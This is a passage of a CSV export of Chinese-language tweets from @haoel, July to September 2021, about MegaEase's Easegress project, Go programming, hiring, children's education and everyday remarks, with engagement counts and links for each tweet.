00:20:56+00:00,0,0,0,,@SlackIdeas @janlay 当然,,https://twitter.com/haoel/status/1438659198187835393\n2784,1438510180107317261,2021-09-16 14:28:47+00:00,0,0,1,,@senob_ 云上贵州……,,https://twitter.com/haoel/status/1438510180107317261\n2785,1438494102497103883,2021-09-16 13:24:54+00:00,36,0,21,,看了一下我的iPhone用量，我保留了自iPhone 4以来所有的数据，包括所有的照片视频，以及微信的聊天记录。自从iPhone X一来我就觉得256G不够用了，现在我觉得512GB迟早不够用了。iCloud 的 2TB 感觉用太多了，我父母老婆孩子全家都在使用苹果设备，结果也就1/10的用量，200GB和2TB之间为什么没选项？ https://t.co/i1oc0hepQV,,https://twitter.com/haoel/status/1438494102497103883\n2786,1438317641622425603,2021-09-16 01:43:43+00:00,90,2,7,,我们准备在中秋节后开个线上的Meetup，包括不限于MegaEase现有的开源项目，一方面，我们会讲一下我们现有的开源项目的技术思路（云原生行业趋势，功能演进，技术选型等），另一方面，是关于开源项目参与形式，社区运作方式 。大家有什么好的建议？,,https://twitter.com/haoel/status/1438317641622425603\n2787,1438003290877222917,2021-09-15 04:54:36+00:00,1,0,1,,@kevinzhow @tualatrix @xuzhe 我88%,,https://twitter.com/haoel/status/1438003290877222917\n2788,1437743998903328769,2021-09-14 11:44:15+00:00,3,0,0,,@Jemmy__Wong go lang的默认标准是用tab做缩进，几乎所有的go项目都是用Tab……这个是写在官方文档里的。,,https://twitter.com/haoel/status/1437743998903328769\n2789,1437740867490488323,2021-09-14 11:31:49+00:00,0,0,1,,@Ymc3Ymty 非官方下载？,,https://twitter.com/haoel/status/1437740867490488323\n2790,1437704977040830467,2021-09-14 09:09:12+00:00,46,10,5,,Easegress 的 MQTT 协议的支持已经在我们用户的环境下跑通测试了，现在可以进行 Code Review 了，欢迎大家帮助Review 一下这个PR，从注释到变量名再到从代码风格再到程序逻辑，欢迎任何的comments https://t.co/nk8rAwHQor,\"[TextLink(text='github.com/megaease/easeg…', url='https://github.com/megaease/easegress/pull/203', tcourl='https://t.co/nk8rAwHQor', indices=(115, 138))]\",https://twitter.com/haoel/status/1437704977040830467\n2791,1437657353298460681,2021-09-14 05:59:58+00:00,0,0,2,,@gxgexiao 不是因为你没能理解第一条吗？（嘿嘿嘿）😜🤣😂,,https://twitter.com/haoel/status/1437657353298460681\n2792,1437648821207535618,2021-09-14 05:26:03+00:00,12,0,2,,@c9r4hFXqzJjOcbI 孩子的真实想法就是，不上学，玩游戏，看视频……不对孩子有要求，是不行的……孩子还不是能自驱的人……,,https://twitter.com/haoel/status/1437648821207535618\n2793,1437640130651582464,2021-09-14 04:51:31+00:00,326,60,13,,有些人觉得这就放弃了升学之路了，这上并不意外。我正好是个喜欢记录自己想法的人，继续分享一下我的想法。 https://t.co/bPs6jkici4,,https://twitter.com/haoel/status/1437640130651582464\n2794,1437454638895091712,2021-09-13 16:34:27+00:00,693,136,71,,看到有人回复我说“应用教育”，校外培训班也是有用的……我就想起了今年夏天我见我姐姐和她孩子的一个小的交流，当天我还在我的手机便签里记录了一下，以分享给我老婆。这里也分享一下吧…… https://t.co/GSWWug5AuQ,,https://twitter.com/haoel/status/1437454638895091712\n2795,1437257871557726211,2021-09-13 03:32:34+00:00,13,0,3,,@ZhuLi23976655 在线教育当然有价值。但是你要分清楚，他真的是在做真正的教育呢，还是在内卷……,,https://twitter.com/haoel/status/1437257871557726211\n2796,1437222722086445064,2021-09-13 01:12:53+00:00,247,22,24,,1）机会主义者罢了，我相信他如果是政策的受益者，即便违宪他也不会觉得不妥的。2）做选择看的是有底子能创造价值的行业，而不是看被资本吹大的行业。3）提升自己把握机会的能力，美帝这么多上市的技术公司，机会同样不比国内差，美国没有猎头撩么……,,https://twitter.com/haoel/status/1437222722086445064\n2797,1437070908745674753,2021-09-12 15:09:38+00:00,0,0,1,,@FreiheitYu 期待,,https://twitter.com/haoel/status/1437070908745674753\n2798,1437066648389701635,2021-09-12 14:52:43+00:00,19,3,0,,YouTube 有个视频介绍 https://t.co/Y8tDNlKePc,\"[TextLink(text='youtu.be/Hfm524-LINY', url='https://youtu.be/Hfm524-LINY', tcourl='https://t.co/Y8tDNlKePc', indices=(15, 38))]\",https://twitter.com/haoel/status/1437066648389701635\n2799,1437066644493242371,2021-09-12 14:52:42+00:00,256,40,28,,\"今天很意外的，在网上看到了这么一个大机器，第一眼看上去以为是电影画面……这玩意是德国人在1995年造出，用来挖矿的，叫Bagger 293，高 96 米，长 225 米，重 14,200吨，需要 5 人操作。用电16.56 兆瓦，每天可以移动 218,880 吨土壤……（https://t.co/QpCXHmLPJA） https://t.co/2j3JFaDKPL\",\"[TextLink(text='en.m.wikipedia.org/wiki/Bagger_293', url='https://en.m.wikipedia.org/wiki/Bagger_293', tcourl='https://t.co/QpCXHmLPJA', indices=(136, 159))]\",https://twitter.com/haoel/status/1437066644493242371\n2800,1436736289840058374,2021-09-11 16:59:59+00:00,31,2,1,,@435Hz https://t.co/hpedgGgX6a,\"[TextLink(text='youtu.be/RQwnW1nSaWk', url='https://youtu.be/RQwnW1nSaWk', tcourl='https://t.co/hpedgGgX6a', indices=(7, 30))]\",https://twitter.com/haoel/status/1436736289840058374\n2801,1436375744511242243,2021-09-10 17:07:18+00:00,0,0,0,,@tinyfool 买台云服务器？,,https://twitter.com/haoel/status/1436375744511242243\n2802,1436318704510259204,2021-09-10 13:20:39+00:00,144,23,0,,\"【用Easegress + WebAssembly做秒杀】 \n分享人：张博民\n- WebAssembly 介绍\n- WebAssembly 后端集成\n- Easegress 介绍\n- 秒杀方案\n- 秒杀演示\n\nhttps://t.co/2Gz8V5ecZb\",\"[TextLink(text='youtube.com/watch?v=InPc5a…', url='https://www.youtube.com/watch?v=InPc5aIAu_o', tcourl='https://t.co/2Gz8V5ecZb', indices=(105, 128))]\",https://twitter.com/haoel/status/1436318704510259204\n2803,1435988304747401222,2021-09-09 15:27:45+00:00,50,0,5,,@yongqianme 我跟你不一样，我是那种无论挣多少钱都跟月薪5000一样，我有好多衣服都是10年前的，还有我大学穿到今天的衣服，酒店我是华住会的粉丝，尽可能住在用户边上，远一点就骑车……,,https://twitter.com/haoel/status/1435988304747401222\n2804,1435984504112386057,2021-09-09 15:12:39+00:00,28,2,6,,怎么看都不是Matrix，完全就是 John Wick…… https://t.co/woN7OxnVuq,\"[TextLink(text='youtu.be/gzEGBAG8x5U', url='https://youtu.be/gzEGBAG8x5U', tcourl='https://t.co/woN7OxnVuq', indices=(30, 53))]\",https://twitter.com/haoel/status/1435984504112386057\n2805,1435906558332833801,2021-09-09 10:02:56+00:00,62,8,2,,云原生到底是啥？我们到底在干啥？来个十问MegaEase ！欢迎大家给我们更多的提问……【MegaEase究竟在干啥】https://t.co/EwqINfvx1I,\"[TextLink(text='mp.weixin.qq.com/s/tNq9D7hM-1B5…', url='https://mp.weixin.qq.com/s/tNq9D7hM-1B5kn4xW9MmZg', tcourl='https://t.co/EwqINfvx1I', indices=(59, 82))]\",https://twitter.com/haoel/status/1435906558332833801\n2806,1435639493449580550,2021-09-08 16:21:42+00:00,0,0,0,,@_wissx @muzi_ii 不是。,,https://twitter.com/haoel/status/1435639493449580550\n2807,1435621678445330446,2021-09-08 15:10:55+00:00,55,1,3,,@muzi_ii 建议选择开创型的工作，而不是支持型工作。,,https://twitter.com/haoel/status/1435621678445330446\n2808,1435457466079186948,2021-09-08 04:18:24+00:00,0,0,1,,@ilaobian @songma 哈哈，高抬我了……,,https://twitter.com/haoel/status/1435457466079186948\n2809,1435421314580316162,2021-09-08 01:54:44+00:00,2,0,1,,@FreiheitYu @songma 双方亲切会晤并就鸡汤文化和国际局势交谈了看法……,,https://twitter.com/haoel/status/1435421314580316162\n2810,1435260847530471424,2021-09-07 15:17:06+00:00,249,41,11,,\"@songma 人生最大的风险就是不担风险\n人生最大的冒险就是不敢冒险\n人生最大的错误就是害怕犯错\n人生最大的失败就是畏惧失败\n\n#金句pattern\",,https://twitter.com/haoel/status/1435260847530471424\n2811,1435236466255302656,2021-09-07 13:40:13+00:00,48,1,5,,我在Twitter的第一条推……,,https://twitter.com/haoel/status/1435236466255302656\n2812,1434792293236576259,2021-09-06 08:15:14+00:00,1,0,1,,@tiger00853 怕不对吧，1999年才有的OICQ，也就是QQ前身。2000年改名QQ的。,,https://twitter.com/haoel/status/1434792293236576259\n2813,1434733393883791365,2021-09-06 04:21:11+00:00,10,0,0,,@1984Ling 我应该再补充一下，我的绑在这个QQ号的昵称和头像也有20年了，手机号是2002年绑的，也有19年了（有没有转让过，简单分析一下就好了）。P.S. 今天，你还在相信互联网不知道屏幕后面的是人还是猪？,,https://twitter.com/haoel/status/1434733393883791365\n2814,1434726467515019269,2021-09-06 03:53:40+00:00,0,0,0,,@cppgohan 我个人的不认，只认小孩的,,https://twitter.com/haoel/status/1434726467515019269\n2815,1434726349613113352,2021-09-06 03:53:12+00:00,6,0,2,,一年才能修改一次…… https://t.co/6qqLpQ7MhS,,https://twitter.com/haoel/status/1434726349613113352\n2816,1434518184032301059,2021-09-05 14:06:01+00:00,114,10,30,,我的QQ号是6位数，99年申请的，QQ号都22岁了，我还未成年？😂 （p.s. 我没法用我的身份证认证，系统提示只能用孩子的，也是奇了怪了，不就是之前让孩子打过王者荣耀吗？孩子也没有认证啊，居然就判定这个号不是我的了……） https://t.co/sSVkNoEjEv,,https://twitter.com/haoel/status/1434518184032301059\n2817,1434030640433799168,2021-09-04 05:48:42+00:00,167,20,5,,知道go的泛型编在1.17版中正式面试有几天了，今天周末花了一上午的时间学习了一下，还不错。顺手写了篇文章，让我的《Go编程模式》的系列文章更完整了 https://t.co/K8h4IOpejR,\"[TextLink(text='coolshell.cn/articles/21615…', url='https://coolshell.cn/articles/21615.html', tcourl='https://t.co/K8h4IOpejR', indices=(75, 98))]\",https://twitter.com/haoel/status/1434030640433799168\n2818,1433777532118056974,2021-09-03 13:02:56+00:00,5,3,0,,中文版，微信公众号https://t.co/7HaksyDo3L,\"[TextLink(text='mp.weixin.qq.com/s/VsIm6bdgoYvE…', url='https://mp.weixin.qq.com/s/VsIm6bdgoYvEJL_UsqGLcg', tcourl='https://t.co/7HaksyDo3L', indices=(9, 32))]\",https://twitter.com/haoel/status/1433777532118056974\n2819,1433460072705761286,2021-09-02 16:01:28+00:00,474,72,33,,40多岁的中年人还是有点唠叨…… https://t.co/oCAIYARNf0,,https://twitter.com/haoel/status/1433460072705761286\n2820,1433301764854321156,2021-09-02 05:32:24+00:00,0,0,0,,@leeight 幸福……,,https://twitter.com/haoel/status/1433301764854321156\n2821,1433268148531171330,2021-09-02 03:18:50+00:00,40,6,4,,@tinyfool 这事更可怕的是这个声明 https://t.co/Xgxn0Sog6w,,https://twitter.com/haoel/status/1433268148531171330\n2822,1433244682344038400,2021-09-02 01:45:35+00:00,92,11,3,,\"用Easegress + WebAssembly 做秒杀的cookbook出炉了，大家可以自己试试看（Cookbook的示例不能用于生产线，仅仅是个示例，如果需要专业的方案，可以私信）\nhttps://t.co/Hie0fFShGI\",\"[TextLink(text='github.com/megaease/easeg…', url='https://github.com/megaease/easegress/blob/main/doc/cookbook/flash_sale.md', tcourl='https://t.co/Hie0fFShGI', indices=(93, 116))]\",https://twitter.com/haoel/status/1433244682344038400\n2823,1433076792005316608,2021-09-01 14:38:27+00:00,20,0,6,,工业风《哪吒重生》上Netflix 了…… https://t.co/IFDeorQwCe,,https://twitter.com/haoel/status/1433076792005316608\n2824,1433074048850792448,2021-09-01 14:27:33+00:00,13,0,1,,@_Yu4n_ YouTube 日常看 画画，英文和MineCraft,,https://twitter.com/haoel/status/1433074048850792448\n2825,1433069031884410882,2021-09-01 14:07:36+00:00,151,11,25,,\"我家娃要玩王者荣耀，结果需要实名认证了。结果发现我用我自己的身份证都实名认证不了了……太令我失望了😞 \n\n老实说，不花时间玩游戏就要会去看短视频或是追明星去了……相比之下还是玩游戏更好一些。今天的中国互联网，在我看来，对于未成年人来说，应该全禁了…… https://t.co/Hb8IUIzPMB\",,https://twitter.com/haoel/status/1433069031884410882\n2826,1432609896466300928,2021-08-31 07:43:10+00:00,1,0,1,,@zhuizi1 你怎么看出来我说很难了？,,https://twitter.com/haoel/status/1432609896466300928\n2827,1432573745206480900,2021-08-31 05:19:31+00:00,2,0,0,,@e097 一个U盘,,https://twitter.com/haoel/status/1432573745206480900\n2828,1432565021054160896,2021-08-31 04:44:51+00:00,154,15,26,,\"我们上周在某用户的封闭的环境下离线安装我们整个云原生平台，这个环境的操作系统是KylinOS (与CentOS并不兼容)+ ARM 芯片。我们要部署docker, kubernets + cilium, kafka, redis, mysql, elasticsearch, kibana, prometheus,  spring cloud, zookeeper, etcd... 我们的一个同事花了2.5天，全搞好了...\",,https://twitter.com/haoel/status/1432565021054160896\n2829,1432562351048253440,2021-08-31 04:34:14+00:00,8,0,2,,对了，我们更变态的是用户的机器是 ARM64 的……,,https://twitter.com/haoel/status/1432562351048253440\n2830,1432526561945677825,2021-08-31 02:12:02+00:00,81,11,5,,\"我们也是在上周搞了一把类似的事（估计跟推主干了同一个企业），不过我们的复杂度除了k8s以外，还有kafka, redis, MySQL, elasticsearch, Prometheus…的确很难，不过我们一个人花了2.5天，都搞定了……\",,https://twitter.com/haoel/status/1432526561945677825\n2831,1432379151265120263,2021-08-30 16:26:16+00:00,19,3,6,,美国人民不都是自己开车上下班么，下班打车回家，第二天坐公交班上班么？,,https://twitter.com/haoel/status/1432379151265120263\n2832,1431203406333440000,2021-08-27 10:34:17+00:00,79,7,6,,是的，管道是个天才发明。所以我们的Easegress 借鉴了pipeline这个概念……,,https://twitter.com/haoel/status/1431203406333440000\n2833,1431200339143770116,2021-08-27 10:22:05+00:00,0,0,1,,@ajQJn4uRU6YNc2F @wuyuesanren 对不起，我不方便透露我的隐私。但是我没有造谣。,,https://twitter.com/haoel/status/1431200339143770116\n2834,1431038131801784320,2021-08-26 23:37:32+00:00,9,1,0,,第一版的PR正在review中，求大家帮code review 一下。https://t.co/Sdg9X9VAmx,\"[TextLink(text='github.com/megaease/easeg…', url='https://github.com/megaease/easegress/pull/203/', tcourl='https://t.co/Sdg9X9VAmx', indices=(35, 58))]\",https://twitter.com/haoel/status/1431038131801784320\n2835,1431037486885523457,2021-08-26 23:34:58+00:00,0,0,1,,@ajQJn4uRU6YNc2F @wuyuesanren 上来就来说造谣，呵呵。,,https://twitter.com/haoel/status/1431037486885523457\n2836,1430898000373579780,2021-08-26 14:20:42+00:00,128,4,23,,结婚15年了，我老婆破天荒第一次让我在外面多浪几天，别回家…… https://t.co/hvlgxu3bEJ,,https://twitter.com/haoel/status/1430898000373579780\n2837,1430483613083004931,2021-08-25 10:54:05+00:00,0,0,0,,\"@frax002 是的，Sco unix, AIX, HP-UX, Solaris, IRIX 我都玩过\",,https://twitter.com/haoel/status/1430483613083004931\n2838,1430402179521597440,2021-08-25 05:30:29+00:00,168,16,6,,@waylybaye 如果要挣钱的话，比较直观的方式是建议找一个价格很贵的商业化软件，然后做一个便宜的版本（不需要功能全，只需要性价比高）。商业公司只会做能挣钱的事，所以，要做挣钱的事就别自己想了，直接对标就好，然后干就好了。大型的商业公司问题也有很多的，不必害怕。,,https://twitter.com/haoel/status/1430402179521597440\n2839,1430395685468205060,2021-08-25 05:04:41+00:00,9,1,0,,欢迎加入我们的Slack用户群……,,https://twitter.com/haoel/status/1430395685468205060\n2840,1430314832130023426,2021-08-24 23:43:24+00:00,12,0,1,,今晚8点，别忘了,,https://twitter.com/haoel/status/1430314832130023426\n2841,1430314605281116165,2021-08-24 23:42:30+00:00,0,0,0,,@grootpiano 长期有效,,https://twitter.com/haoel/status/1430314605281116165\n2842,1429775238405836800,2021-08-23 11:59:15+00:00,60,10,2,,再加一个采方我的一篇文章《从“打工人”到技术创业者，我是如何作死的》https://t.co/cp9ebShCq5,\"[TextLink(text='infoq.cn/article/WFAL8A…', url='https://www.infoq.cn/article/WFAL8AFLdhZdj5WebvpG', tcourl='https://t.co/cp9ebShCq5', indices=(34, 57))]\",https://twitter.com/haoel/status/1429775238405836800\n2843,1429773542862647296,2021-08-23 11:52:31+00:00,211,18,14,,今天有个朋友因为教育行业的事要另谋出路了，他对我说，现在有三条路，一个是继续职场到别的大厂，一个是投奔朋友创业，一个是别的技术公司。我说，我也是有三个选项，一个世界级最顶尖大厂，另一个是马上要上市的公司，最后一个自己最想做的事，也就是，第一个要经历，第二个要财富，第三个要梦想……,,https://twitter.com/haoel/status/1429773542862647296\n2844,1429719701366575104,2021-08-23 08:18:34+00:00,0,0,1,,@YunFan_Yang_ 也许会，但不能保证,,https://twitter.com/haoel/status/1429719701366575104\n2845,1429717954451578881,2021-08-23 08:11:37+00:00,67,6,6,,v1.2.0发布了，WebAssembly是一个重大支持。我们本周三（8月25日晚8点）会做一个分享，怎么用Easegress + WASM做秒杀，这个分享会讲什么是WASM，WASM怎么玩？用WASM和Easegress怎么做秒杀……欢迎大家参加，一共300个名额（腾讯会议）：https://t.co/EDW8SqNV7G,\"[TextLink(text='eventbrite.com/e/using-easegr…', url='https://www.eventbrite.com/e/using-easegress-webassembly-do-flash-sales-tickets-168061449319', tcourl='https://t.co/EDW8SqNV7G', indices=(140, 163))]\",https://twitter.com/haoel/status/1429717954451578881\n2846,1429650954467508228,2021-08-23 03:45:23+00:00,1,0,1,,@eric90220946 没有,,https://twitter.com/haoel/status/1429650954467508228\n2847,1429343866608488452,2021-08-22 07:25:08+00:00,42,4,5,,高并发、大数据、高可用等等，这些东西是都企业需要解决用户侧需求所带来的基础设施的必需要的技术。今天的企业基本上都需要向用户侧的数字化移动。如果不去的话，未来必然被时代淘汰。所以，今天并不是所有的企业都需要这些技术，但是未来都会，因为不玩用户侧数字化的企业将会失去竞争力。 (3/3),,https://twitter.com/haoel/status/1429343866608488452\n2848,1429343863206940672,2021-08-22 07:25:07+00:00,32,2,2,,可能不是所有的企业需要技术能力，但是几乎所有的企业都需要降低成本，提升能效。今天，有很多“不需要云原生分布式微服务”的公司都选择把应用放在k8s中运行，是因为成本真的很低。同样使用Java Spring Boot/Cloud开发的微务，企业可以天生享受整个技术社区带来的红利，技术得升的成本非常之低。 (2/3),,https://twitter.com/haoel/status/1429343863206940672\n2849,1429301184301453314,2021-08-22 04:35:32+00:00,1,0,1,,@DmarkCan @cherylnatsu 应该是降5成起步,,https://twitter.com/haoel/status/1429301184301453314\n2850,1429300921171804168,2021-08-22 04:34:29+00:00,114,8,16,,二十几年前，“绝大多数企业都不用上互联网”，十几年前，“绝大多数企业都不用云计算”……这样论调听到好几次了。对于基础设施来说，你会在不知不觉时直接或间接的用上的。也许是一个中间件，也许是一个API，也许是一个开发框架，也许一个新版的操作系统……（比如某天systemd说集成docker/k8s…),,https://twitter.com/haoel/status/1429300921171804168\n2851,1429284238289821696,2021-08-22 03:28:11+00:00,79,4,3,,@fujohnwang 因为，要做事的人总是要推进事，推进事就要push人。做人的总是喜欢为委屈求全，所以什么来也做不出来。所谓，做人不做事，做事不做人……,,https://twitter.com/haoel/status/1429284238289821696\n2852,1429081596200570893,2021-08-21 14:02:58+00:00,60,3,18,,\"都2021年了，困扰我的两件事\n\n- 微信群里的接龙回复\n- 云原生基金会CNCF里的 +1 投票邮件全回复\n\n做个投票系统有这么难么？\",,https://twitter.com/haoel/status/1429081596200570893\n2853,1428281119284158467,2021-08-19 09:02:09+00:00,50,1,6,,现在，创建开通一个github帐号的动画做的真炫啊，亮瞎眼了……,,https://twitter.com/haoel/status/1428281119284158467\n2854,1427497759783886853,2021-08-17 05:09:22+00:00,13,0,2,,简历可发到 hiring@megaease.com,,https://twitter.com/haoel/status/1427497759783886853\n2855,1427489237943808000,2021-08-17 04:35:30+00:00,120,9,1,,我们喜欢写文档和分享，因为写文档是深度思考，分享是最好的学习方法。我们喜欢用方法和模型，不管是技术方案还是客户发展，因为经验不可迭代，只有方法和模型可以改进、沉淀和复制。我们鼓励决策前尽可能争论和表现不同观点，决策后则同心协力……,,https://twitter.com/haoel/status/1427489237943808000\n2856,1427489236039573512,2021-08-17 04:35:29+00:00,57,3,1,,我们是远程工作，虽然在北京上海有办公室，但依然可以远程，把通勤时间省下来，生活质量立马升高。我们喜欢自治管理和owner文化，所有的管理方法都会成文。我们喜欢条件受限，因为条件受限更能抓重点，更会逼着我们去简化和自动化。我们喜欢最佳实践而非经验，任何技术方案都需要有引用和方案比较……,,https://twitter.com/haoel/status/1427489236039573512\n2857,1427489234017914883,2021-08-17 04:35:29+00:00,14,0,2,,\"技术要求主要是Java/Go技术栈，如：Spring Boot/Spring Cloud，Docker/Kubernetes, Service Mesh，以及基它云原生技术，参看：CNCF Landscape（https://t.co/nVzOsB6kBp），我们主要在Service Orchestration &amp; Managment， 以及 Observability &amp; Analysis，以及Serverless和一些关键的技术中间件上。\",\"[TextLink(text='landscape.cncf.io', url='https://landscape.cncf.io/', tcourl='https://t.co/nVzOsB6kBp', indices=(105, 128))]\",https://twitter.com/haoel/status/1427489234017914883\n2858,1427478337224462338,2021-08-17 03:52:11+00:00,0,0,1,,@dalong404 给点需求和建议吧……我们不懂工业自动化啊。,,https://twitter.com/haoel/status/1427478337224462338\n2859,1427452480024059925,2021-08-17 02:09:26+00:00,5,0,0,,@starwar24 go语言不复杂的。主要是go的生态和技术栈。另外，可以看一下我的Blog里的那些golang的语言pattern，如果能写出那样的代码，欢迎加入啊。,,https://twitter.com/haoel/status/1427452480024059925\n2860,1427434255395680260,2021-08-17 00:57:01+00:00,79,5,5,,Easegress 准备开始支持MQTT协议了，可以成为一个IoT Hub，后面加上Kafka进行Pub/Sub数据处理。大家可以帮忙给些需求和建议https://t.co/VRQxpCeLAn,\"[TextLink(text='github.com/megaease/easeg…', url='https://github.com/megaease/easegress/issues/187', tcourl='https://t.co/VRQxpCeLAn', indices=(74, 97))]\",https://twitter.com/haoel/status/1427434255395680260\n2861,1427301157303513093,2021-08-16 16:08:08+00:00,0,0,0,,@HelloShinbashi 那就看看我们的开源项目吧。,,https://twitter.com/haoel/status/1427301157303513093\n2862,1427286518230487044,2021-08-16 15:09:58+00:00,0,0,0,,@D522723 远程,,https://twitter.com/haoel/status/1427286518230487044\n2863,1427275052207144965,2021-08-16 14:24:24+00:00,287,44,33,,发个招人贴，我们经过几年时间把技术产品积累到了一整套的微服务架构平台，流量调度，服务调度和服务治理，全栈统一监控，高可用中间件管理，以及一系列无侵入式的企业级解决方案，如：秒杀高并发，高可用，多重灰度发度，全链接压测，异地多活…… 技术栈是Java和Go，工作地不限，有意者欢迎私信！,,https://twitter.com/haoel/status/1427275052207144965\n2864,1426406124459204614,2021-08-14 04:51:36+00:00,30,0,0,,顺提前一个月祝大家中秋节快乐！,,https://twitter.com/haoel/status/1426406124459204614\n2865,1426405434311593986,2021-08-14 04:48:51+00:00,204,15,21,,今天早上跟极客时间在微信公众号里做了个直播，有人问我我们公司的要干啥。我说，这就好像“抢月饼事件”一样，你别看某些公司把用技术来抢月饼的人开了，但是他们在整个社会上也是在用技术来“抢大家的月饼”，我们就是要把“抢月饼”的基础技术门槛降到最低，让所有的人可以在技术上来跟大厂“抢月饼”……,,https://twitter.com/haoel/status/1426405434311593986\n2866,1426099243228426240,2021-08-13 08:32:09+00:00,0,0,3,,@hexin0922 所以，没有技术，就只能用人文关怀了……,,https://twitter.com/haoel/status/1426099243228426240\n2867,1426089446185730051,2021-08-13 07:53:14+00:00,179,13,22,,昨天跟应聘者聊关于用户运营的事，我倾向于用技术来解决问题。应聘者觉得技术解决不了人文关怀的事，关怀用户非常重要，这观点我很同意。我的角度是效率，他的角度是体验，都对。深深觉得，用人来服务的地方就应该是用在人文关怀上，然而现实中好多有人服务的地方却是冷冰冰的，还不如一段代码……,,https://twitter.com/haoel/status/1426089446185730051\n2868,1426046489223000068,2021-08-13 05:02:32+00:00,29,5,1,,中文的blog  https://t.co/gRZeQllHBo,\"[TextLink(text='mp.weixin.qq.com/s/lgq10J449RN1…', url='https://mp.weixin.qq.com/s/lgq10J449RN1ZwWXoxW02A', tcourl='https://t.co/gRZeQllHBo', indices=(9, 32))]\",https://twitter.com/haoel/status/1426046489223000068\n2869,1425312988299288582,2021-08-11 04:27:52+00:00,1,0,1,,@waylybaye 不是应该反过来让别人有你这种感觉么？😜,,https://twitter.com/haoel/status/1425312988299288582\n2870,1425039059789828096,2021-08-10 10:19:22+00:00,0,0,2,,@91_MrZheng 我用的是ubuntu apt  install 的,,https://twitter.com/haoel/status/1425039059789828096\n2871,1425021181984350214,2021-08-10 09:08:20+00:00,0,0,0,,@kevinzhow 还没……可以提个PR,,https://twitter.com/haoel/status/1425021181984350214\n2872,1425015633402482688,2021-08-10 08:46:17+00:00,3,0,1,,@kevinzhow FaaS需要Knative，Knative需要kubernetes...,,https://twitter.com/haoel/status/1425015633402482688\n2873,1425014377359413249,2021-08-10 08:41:17+00:00,13,1,5,,问个问题，Nignx 1.18 是不是性能下降了，我们想做个benchmark，结果怎么配置都发现性能很差，不知道有没有人碰到了相同的状况……,,https://twitter.com/haoel/status/1425014377359413249\n2874,1425011406630391808,2021-08-10 08:29:29+00:00,0,0,0,,\"@dongmeilianghy 是的。A flash sale is a discount or promotion offered by an eCommerce store for a short period of time. The quantity is limited, which often means the discounts are higher or more significant than run-of-the-mill promotions. https://t.co/UkvWOEZu8h\",,https://twitter.com/haoel/status/1425011406630391808\n2875,1425007585229369346,2021-08-10 08:14:18+00:00,145,19,6,,\"国外的开发者生态真是越来越好，各种开发工具集。而且对于项目的一般要求也是很高，单测的代码覆盖率得到80%以上，代码的静态检查也要是A。不用我再唠叨了，社区会逼着团队提升代码质量的。下面是Easegress 的两份报告：单元测试覆盖率 \nhttps://t.co/weIfapLVgV，代码静态分析https://t.co/sgw4cU9eCQ https://t.co/7q3D5WbmK9\",\"[TextLink(text='app.codecov.io/gh/megaease/ea…', url='https://app.codecov.io/gh/megaease/easegress', tcourl='https://t.co/weIfapLVgV', indices=(118, 141)), TextLink(text='goreportcard.com/report/github.…', url='https://goreportcard.com/report/github.com/megaease/easegress', tcourl='https://t.co/sgw4cU9eCQ', indices=(148, 171))]\",https://twitter.com/haoel/status/1425007585229369346\n2876,1424307400765435904,2021-08-08 09:52:01+00:00,1,0,0,,@Dora05135997 在我看来就是十五年前的系统,,https://twitter.com/haoel/status/1424307400765435904\n2877,1424307072938565640,2021-08-08 09:50:43+00:00,0,0,1,,@wxtabc 你有没有发现你初始化手机时有让你设置时区？,,https://twitter.com/haoel/status/1424307072938565640\n2878,1424196099477106693,2021-08-08 02:29:45+00:00,11,0,4,,s/所以/所有/g,,https://twitter.com/haoel/status/1424196099477106693\n2879,1424192145980751875,2021-08-08 02:14:02+00:00,91,10,10,,国际化的第一件事就是，所以系统的时间只有一个，那就是GMT/UTC时间,,https://twitter.com/haoel/status/1424192145980751875\n2880,1423481109426229248,2021-08-06 03:08:38+00:00,5,0,1,,@kevinzhow @waylybaye 哦，是吗？我居然忘了,,https://twitter.com/haoel/status/1423481109426229248\n2881,1423478721890029568,2021-08-06 02:59:08+00:00,121,6,26,,八爷@waylybaye 和Kevin @kevinzhow 说要在这里搞个码农基地，把山上的“东方影都”改成“东方码都”…… https://t.co/InMM7w3mon,,https://twitter.com/haoel/status/1423478721890029568\n2882,1422924370536665090,2021-08-04 14:16:21+00:00,1,0,2,,@fujohnwang 读书读出“体感”是什么意思？,,https://twitter.com/haoel/status/1422924370536665090\n2883,1422571513983606786,2021-08-03 14:54:13+00:00,64,3,5,,这些人并不关心事情的原由起因及过程，只关心有没有可以吃瓜的素材，这些人每天都在等着各种八卦信息喂养，他们时而像长舌妇，时而像街头混混，没有这些信息，他们就终日无所事事，一旦有了可以八卦的信息，他们就跟打了鸡血一样，家长里短，搬弄是非，上纲上线……,,https://twitter.com/haoel/status/1422571513983606786\n2884,1422396725772255236,2021-08-03 03:19:40+00:00,1,1,0,,@CnPguan 这个我不担心。你仔细想想就会明白，你的担过头了,,https://twitter.com/haoel/status/1422396725772255236\n2885,1422396268618256385,2021-08-03 03:17:51+00:00,1,0,0,,@ihYAAZCl2V5bkRP 为了合群，把自己变成傻子？,,https://twitter.com/haoel/status/1422396268618256385\n2886,1422151938620026883,2021-08-02 11:06:59+00:00,244,32,13,,暑假期间让我们家孩子读《清醒思考的艺术》，并写心得，我不知道对一个小学生来说，会不会太早了。也不知道，清醒这事儿在未来会对一个人的人生造成什么样的影响……不管怎么样，我只一厢情愿的希望孩子能活的明明白白…… https://t.co/hHssSnM39h,,https://twitter.com/haoel/status/1422151938620026883\n2887,1422085730512236544,2021-08-02 06:43:53+00:00,0,0,0,,@ggarlic 是的，go的各种工具真是很不错。,,https://twitter.com/haoel/status/1422085730512236544\n2888,1422081571910164480,2021-08-02 06:27:22+00:00,77,5,2,,VSCode的单元测试的代码覆盖图示还是很漂亮的 https://t.co/JJQ12xOL4h,,https://twitter.com/haoel/status/1422081571910164480\n2889,1420981514477522944,2021-07-30 05:36:08+00:00,8,0,0,,@VnetLink @wey_gu 你没在路透干过，路透的巴黎和日内瓦的双金融数据中心的多活也是5个9的可用性，这是存在的，当然，你没有见过。AWS的我就不说了。（P.S. 比特币异地OK，但是高并发下可用性就太差了 ),,https://twitter.com/haoel/status/1420981514477522944\n2890,1420971515990876160,2021-07-30 04:56:24+00:00,0,0,1,,@kernel_panicv 北下关是什么地方？,,https://twitter.com/haoel/status/1420971515990876160\n2891,1420964601697501187,2021-07-30 04:28:55+00:00,29,5,9,,哈哈哈,,https://twitter.com/haoel/status/1420964601697501187\n2892,1420623274472480768,2021-07-29 05:52:37+00:00,0,0,0,,@liubeiiiii 应该是没有。,,https://twitter.com/haoel/status/1420623274472480768\n2893,1420330158234370048,2021-07-28 10:27:52+00:00,142,18,13,,后天7月30日上午，我会在深圳的GIAC上的微服务专场里分享《Service 